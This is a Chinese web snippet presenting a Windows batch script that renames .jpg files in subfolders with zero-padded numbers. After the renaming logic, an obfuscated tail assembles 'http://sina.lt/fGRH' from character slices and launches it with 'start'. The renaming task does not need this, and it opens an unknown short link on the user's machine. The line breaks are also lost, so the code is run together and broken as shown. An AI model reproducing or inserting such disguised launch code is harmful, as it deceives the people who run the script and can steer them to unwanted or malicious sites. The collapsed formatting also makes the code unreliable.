代码如下: @echo off & title 批量重命名并序号补位 By 依梦琴瑶cd /d %~dp0::脚本放于主目录后执行::设置补位数,比如补全五位,就填写5set Ws=5for /l %%a in (1,1,%Ws%) do ( call set W=%%W%%0)for /d %%a in (*) do ( pushd %%~a for %%b in (*_*.jpg) do ( for /f tokens=1 delims=_ %%c in (%%~b) do ( set /a Num=1%W%+%%~c rem 如果最终显示的文件名前后符合您的要求,请把下行中的echo这个单词删除。 call echo ren %%~b %%~a %%Num:~1%%%%~xb ) ) popd)pauseset S0=fGRHset S1=.:ailnhpst/set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%start %S2%%S3%%S1:~10,1%%S0%exit